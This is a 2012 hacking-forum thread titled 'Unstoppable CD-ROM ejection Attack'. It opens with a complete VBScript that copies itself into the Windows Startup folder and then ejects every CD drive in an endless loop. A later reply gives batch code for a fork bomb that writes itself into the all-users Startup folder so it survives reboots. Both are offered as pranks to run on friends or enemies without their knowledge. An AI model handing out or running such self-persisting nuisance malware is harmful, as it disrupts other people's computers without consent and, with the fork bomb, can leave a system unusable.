EvilZone

Hacking and Security => Hacking and Security => : Infinityexists April 10, 2012, 03:28:21 PM

: Unstoppable CD-ROM ejection Attack
: Infinityexists April 10, 2012, 03:28:21 PM
This awesome hack continually pops out anyone's CD-ROM if they intentionally/non-intentionally execute the script, this is  the perfect way to prank your friends or to tease your enemy :D


coded by me in VBScript,
simply copy/paste the code into a new notepad file and save it  script.vbs extension and enjoy the Fun


:
'Coded by: Sufyan Ghori
'https://www.facebook.com/XuFyaN


Set obj1 = CreateObject("WMPlayer.OCX.7")
Set obj2 = obj1.cdromCollection
Set shell1 = CreateObject("WScript.Shell")
Set oShell = CreateObject("Shell.Application")
Set startupFolder = oShell.NameSpace(ssfSTARTUP)
set filesys=CreateObject("Scripting.FileSystemObject")
Const ssfSTARTUP = &H7




If Not startupFolder Is Nothing Then
  tempPath = startupFolder.Self.Path
End If


If Not filesys.FileExists(tempPath & "\script.vbs") Then
   shell1.Run "%COMSPEC%"
   WScript.sleep 500
   shell1.SendKeys  "CD\" & vbCRLF & "copy " & shell1.CurrentDirectory & "\script.vbs " & """" & tempPath & """" & " /y"  & vbCRLF
   shell1.SendKeys "exit " & vbCRLF
End If


do
   if obj2.Count >= 1 then
      For i = 0 to obj2.Count - 1
      obj2.Item(i).Eject
      Next
      For i = 0 to obj2.Count - 1
      obj2.Item(i).Eject
      Next
   End If
   wscript.sleep 5000
loop


Disabling the script,
http://xufyan.com/2012/04/04/continually-pop-out-cd-rom-even-if-the-pc-restarts/



- Thankyou

Sufyan Ghori
: Re: Unstoppable CD-ROM ejection Attack
: Zesh April 10, 2012, 06:56:31 PM
Aha, the fun old days :P I'm sure I still have my VBS folder laying around somewhere.
: Re: Unstoppable CD-ROM ejection Attack
: techb April 10, 2012, 07:37:58 PM
Didn't you already post that in this (http://evilzone.org/scripting-languages/few-dangerous-vbscript-codes-to-prank-your-friends/) thread?
: Re: Unstoppable CD-ROM ejection Attack
: Infinityexists April 10, 2012, 08:02:19 PM
Didn't you already post that in this (http://evilzone.org/scripting-languages/few-dangerous-vbscript-codes-to-prank-your-friends/) thread?


No ! i didn't :) you should have a look again :) that was the script that just Eject CD-Rom until the user restart the computer ;) but this one is more advanced



: Re: Unstoppable CD-ROM ejection Attack
: Cynet April 17, 2012, 11:46:54 AM
"Unstoppable CD-ROM ejection Attack"
 
*Opens Task Manager*
*Closes CD Drive Task*
 
Stopped.
=P
: Re: Unstoppable CD-ROM ejection Attack
: jubayernil April 22, 2012, 10:29:50 PM
I just want to stop CD-ROM eject.......please help me.
: Re: Unstoppable CD-ROM ejection Attack
: Kulverstukas April 23, 2012, 11:02:56 AM
I just want to stop CD-ROM eject.......please help me.
Do what the above post said lol.
: Re: Unstoppable CD-ROM ejection Attack
: Infinityexists April 23, 2012, 12:15:55 PM
I just want to stop CD-ROM eject.......please help me.


go to the startup directory of your windows , most probably you'll find it in Start menu, \
and delete script.vbs file from there, if you couldn't find the script.vbs file from start menu then search it in your C:/ drive and then delete it
: Re: Unstoppable CD-ROM ejection Attack
: helios April 23, 2012, 04:46:05 PM
This works great, I just tried it. Simple, clean, and easy fix. Fun to give to your friends or family to mess around with them.

I lol'd at jubayernil's post.
: Re: Unstoppable CD-ROM ejection Attack
: iTpHo3NiX April 23, 2012, 07:12:07 PM
I remember doing a combination of batch and vbs pranks, even compiled them as EXE's very fun to do...

How my pranks worked:

1. Create batch file to do anything (for example lets say a fork bomb)
In batch it would look like this:

:
@echo off
:START
start a.bat
GOTO START

So what I would do INSTEAD (Win7 version):

:
@echo off > %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
:START >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
start a.bat >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
GOTO START >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat

I would also use batch to create a VBS into start file. You can make it a little bit more intricate to make it cross platform (get which os then do a GOTO and label command for their specific operating system so if they do it on XP, Vista, 7, it doesn't matter ;)

:
@echo off
ver | find "XP" > nul
if %ERRORLEVEL% == 0 goto winxp

echo %vers% | find "Windows 7" > nul
if %ERRORLEVEL% == 0 goto win7


:winXP
@echo off > %AllUsers%\Start Menu\Programs\Startup\a.bat
:STARTXP >> %AllUsers%\Start Menu\Programs\Startup\a.bat
start a.bat >> %AllUsers%\Start Menu\Programs\Startup\a.bat
GOTO STARTXP >> %AllUsers%\Start Menu\Programs\Startup\a.bat

:Win7
@echo off > %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
:START7 >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
start a.bat >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat
GOTO START7 >> %allusersprofile%\Microsoft\Windows\Start Menu\Programs\Startup\a.bat

It would look something like that.. Can't remember its been a while ;)

NOTE:
If you run this batch file a bunch of cmd windows will open, if you run Windows 7 and you run the one that creates itself in startup, be sure to remove the file in startup first, otherwise you will need a live OS to fix it! (by simply deleting it)
: Re: Unstoppable CD-ROM ejection Attack
: Infinityexists April 25, 2012, 04:23:16 PM
This works great, I just tried it. Simple, clean, and easy fix. Fun to give to your friends or family to mess around with them.

I lol'd at jubayernil's post.


I'm glad that people are actually using my Script :)


@iTpHo3NiX:


your code seems so cool :)
there are few clever techniques that could come handy too , I've copied it into my collection.
P.S: Thanks a lot for considering replying into my thread with such a useful stuff :)
: Re: Unstoppable CD-ROM ejection Attack
: arvin109 April 29, 2012, 12:17:27 AM
thanks so much for this source code..btw how did you learn all of those? i even watched your video on youtube and its very nice..im just a noobie and would love to learn from you, I also added you on Facebook. :)